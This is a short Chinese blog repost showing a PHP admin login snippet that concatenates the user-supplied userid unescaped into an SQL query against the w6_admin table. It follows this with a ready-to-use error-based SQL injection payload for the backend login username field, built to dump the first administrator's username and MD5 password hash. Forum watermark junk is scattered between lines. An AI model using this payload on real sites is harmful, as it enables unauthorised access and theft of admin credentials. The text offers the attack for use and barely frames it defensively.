看代码。。
02 | if ( ! $postdb [ "userid" ] || ! $postdb [ "pwd" ] ) |
04 | echo "<div align=\"center\" class=\"style1\">" ; |
05 | echo "您输入的用户名或密码有误!!!" ; |
10 | $postdb [ "pwd" ]=md5( $postdb [ "pwd" ]); |
13 | $query = "SELECT * FROM `w6_admin` WHERE `userid` ='" . $postdb [ "userid" ]. "'" ; |
15 | $result =mysql_query( $query ) or die ( "Could not connect: " . mysql_error()); |
17 | $num = mysql_num_rows( $result ); |
21 | echo "<div align=\"center\" class=\"style1\">" ; |
22 | echo "您输入的用户名或密码有误!!!" ; |
27 | $_pwd = stripslashes (mysql_result( $result , "0" , "pwd" )); |
28 | $gptype = stripslashes (mysql_result( $result , "0" , "gptype" )); |
29 | $adminid = stripslashes (mysql_result( $result , "0" , "id" )); |
test: - 低调求发展5 E% z1 ]' U9 X3 N2 D% D2 H0 x
![TM截图未命名.png](http://www.t00ls.net/p_w_upload.php?aid=MTcyMDh8ZGFhZjYxNmV8MTMyMjI3NjE4NHxiMTlhSjVwcm1KRXg0dUdNYytQa0t6aDB2ckZTZzZiRjluNElOdDZ6bXp3VWZuOA%3D%3D&noupdate=yes)
! B3 U" i' h: u1 i/ B( c8 w) k
在后台登陆的用户名输入
6 I* |" @$ A! uSecurity' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,w6_admin.userid,0x27,0x7e,w6_admin.pwd) from w6_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1'/*
转载于:https://blog.51cto.com/hellxman/725049